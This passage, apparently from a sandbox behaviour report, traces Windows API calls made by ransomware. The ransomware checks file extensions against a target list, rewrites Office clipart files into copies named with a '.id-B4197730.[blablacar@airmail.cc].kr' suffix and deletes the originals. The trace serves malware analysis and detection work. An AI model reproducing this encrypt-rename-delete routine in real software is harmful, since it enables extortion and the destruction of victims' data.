returned 4 [0215.916] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.916] lstrlenW (lpString=".bz2") returned 4 [0215.916] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.916] lstrlenW (lpString=".7z") returned 3 [0215.916] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.916] lstrlenW (lpString=".dbf") returned 4 [0215.916] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.916] lstrlenW (lpString=".1cd") returned 4 [0215.916] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.916] lstrlenW (lpString=".jpg") returned 4 [0215.916] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.917] lstrlenW (lpString=".doc") returned 4 [0215.917] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.917] lstrlenW (lpString=".docx") returned 5 [0215.917] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0215.917] lstrlenW (lpString=".pdf") returned 4 [0215.917] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.917] lstrlenW (lpString=".xls") returned 4 [0215.917] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.917] lstrlenW (lpString=".xlsx") returned 5 [0215.917] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0215.917] lstrlenW (lpString=".ppt") returned 4 [0215.917] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.917] lstrlenW (lpString=".zip") returned 4 [0215.917] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.917] lstrlenW (lpString=".rar") returned 4 [0215.917] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.917] lstrlenW (lpString=".bz2") returned 4 [0215.917] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.917] lstrlenW (lpString=".7z") returned 3 [0215.917] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.917] lstrlenW (lpString=".dbf") returned 4 [0215.917] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.917] lstrlenW (lpString=".1cd") returned 4 [0215.917] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0215.917] lstrlenW (lpString=".jpg") returned 4 [0215.917] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.918] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0215.918] lstrlenW (lpString="J0151041.WMF") returned 12 [0215.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0216.127] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4356) returned 1 [0216.127] CloseHandle (hObject=0x4b0) returned 1 [0216.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 0x220 [0216.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0216.128] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.128] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0216.129] GetLastError () returned 0x0 [0216.129] ReadFile (in: hFile=0x4b0, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1104, lpOverlapped=0x0) returned 1 [0216.131] WriteFile (in: hFile=0x538, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1110, lpOverlapped=0x0) returned 1 [0216.132] ReadFile (in: hFile=0x4b0, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.132] WriteFile (in: hFile=0x538, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0216.132] SetEndOfFile (hFile=0x538) returned 1 [0216.133] CloseHandle (hObject=0x538) returned 1 [0216.133] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.133] SetEndOfFile (hFile=0x4b0) returned 1 [0216.136] CloseHandle (hObject=0x4b0) returned 1 [0216.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1 [0216.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.138] lstrlenW (lpString=".doc") returned 4 [0216.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.138] lstrlenW (lpString=".docx") returned 5 [0216.138] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0216.138] lstrlenW (lpString=".pdf") returned 4 [0216.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString=".xls") returned 4 [0216.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.139] lstrlenW (lpString=".xlsx") returned 5 [0216.139] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0216.139] lstrlenW (lpString=".ppt") returned 4 [0216.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.139] lstrlenW (lpString=".zip") returned 4 [0216.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.139] lstrlenW (lpString=".rar") returned 4 [0216.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString=".bz2") returned 4 [0216.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString=".7z") returned 3 [0216.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.139] lstrlenW (lpString=".dbf") returned 4 [0216.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.139] lstrlenW (lpString=".1cd") returned 4 [0216.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.139] lstrlenW (lpString=".jpg") returned 4 [0216.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.139] lstrlenW (lpString=".doc") returned 4 [0216.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString=".docx") returned 5 [0216.139] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0216.139] lstrlenW (lpString=".pdf") returned 4 [0216.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.139] lstrlenW (lpString=".xls") returned 4 [0216.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.140] lstrlenW (lpString=".xlsx") returned 5 [0216.140] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0216.140] lstrlenW (lpString=".ppt") returned 4 [0216.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.140] lstrlenW (lpString=".zip") returned 4 [0216.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.140] lstrlenW (lpString=".rar") returned 4 [0216.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.140] lstrlenW (lpString=".bz2") returned 4 [0216.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.140] lstrlenW (lpString=".7z") returned 3 [0216.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.140] lstrlenW (lpString=".dbf") returned 4 [0216.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.140] lstrlenW (lpString=".1cd") returned 4 [0216.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68 [0216.140] lstrlenW (lpString=".jpg") returned 4 [0216.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.140] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.140] lstrlenW (lpString="J0151047.WMF") returned 12 [0216.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0216.141] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=18500) returned 1 [0216.141] CloseHandle (hObject=0x4b0) returned 1 [0216.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220 [0216.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0216.142] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.142] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0216.143] GetLastError () returned 0x0 [0216.143] ReadFile (in: hFile=0x4b0, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x4844, lpOverlapped=0x0) returned 1 [0216.145] WriteFile (in: hFile=0x538, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x4850, lpOverlapped=0x0) returned 1 [0216.146] ReadFile (in: hFile=0x4b0, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.146] WriteFile (in: hFile=0x538, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0216.146] SetEndOfFile (hFile=0x538) returned 1 [0216.146] CloseHandle (hObject=0x538) returned 1 [0216.146] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.146] SetEndOfFile (hFile=0x4b0) returned 1 [0216.492] CloseHandle (hObject=0x4b0) returned 1 [0216.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0217.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.487] lstrlenW (lpString=".doc") returned 4 [0217.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.487] lstrlenW (lpString=".docx") returned 5 [0217.487] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0217.487] lstrlenW (lpString=".pdf") returned 4 [0217.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.487] lstrlenW (lpString=".xls") returned 4 [0217.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.487] lstrlenW (lpString=".xlsx") returned 5 [0217.487] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0217.487] lstrlenW (lpString=".ppt") returned 4 [0217.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.487] lstrlenW (lpString=".zip") returned 4 [0217.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.487] lstrlenW (lpString=".rar") returned 4 [0217.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.488] lstrlenW (lpString=".bz2") returned 4 [0217.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.488] lstrlenW (lpString=".7z") returned 3 [0217.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.488] lstrlenW (lpString=".dbf") returned 4 [0217.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.488] lstrlenW (lpString=".1cd") returned 4 [0217.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.488] lstrlenW (lpString=".jpg") returned 4 [0217.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.488] lstrlenW (lpString=".doc") returned 4 [0217.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.488] lstrlenW (lpString=".docx") returned 5 [0217.488] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0217.488] lstrlenW (lpString=".pdf") returned 4 [0217.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.488] lstrlenW (lpString=".xls") returned 4 [0217.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.488] lstrlenW (lpString=".xlsx") returned 5 [0217.488] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0217.488] lstrlenW (lpString=".ppt") returned 4 [0217.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.488] lstrlenW (lpString=".zip") returned 4 [0217.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.488] lstrlenW (lpString=".rar") returned 4 [0217.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.489] lstrlenW (lpString=".bz2") returned 4 [0217.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.489] lstrlenW (lpString=".7z") returned 3 [0217.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.489] lstrlenW (lpString=".dbf") returned 4 [0217.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.489] lstrlenW (lpString=".1cd") returned 4 [0217.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0217.489] lstrlenW (lpString=".jpg") returned 4 [0217.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.489] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0217.489] lstrlenW (lpString="J0152626.WMF") returned 12 [0217.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0217.995] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=26248) returned 1 [0217.995] CloseHandle (hObject=0x388) returned 1 [0217.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220 [0217.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0217.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0217.997] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0217.997] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0217.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0217.998] GetLastError () returned 0x0 [0217.998] ReadFile (in: hFile=0x388, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x6688, lpOverlapped=0x0) returned 1 [0218.000] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x6690, lpOverlapped=0x0) returned 1 [0218.002] ReadFile (in: hFile=0x388, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.002] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.002] SetEndOfFile (hFile=0x51c) returned 1 [0218.002] CloseHandle (hObject=0x51c) returned 1 [0218.002] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.002] SetEndOfFile (hFile=0x388) returned 1 [0218.005] CloseHandle (hObject=0x388) returned 1 [0218.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0218.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0218.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.006] lstrlenW (lpString=".doc") returned 4 [0218.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.006] lstrlenW (lpString=".docx") returned 5 [0218.007] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0218.007] lstrlenW (lpString=".pdf") returned 4 [0218.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.007] lstrlenW (lpString=".xls") returned 4 [0218.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.007] lstrlenW (lpString=".xlsx") returned 5 [0218.007] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0218.007] lstrlenW (lpString=".ppt") returned 4 [0218.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.007] lstrlenW (lpString=".zip") returned 4 [0218.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.007] lstrlenW (lpString=".rar") returned 4 [0218.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.007] lstrlenW (lpString=".bz2") returned 4 [0218.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.007] lstrlenW (lpString=".7z") returned 3 [0218.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.007] lstrlenW (lpString=".dbf") returned 4 [0218.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 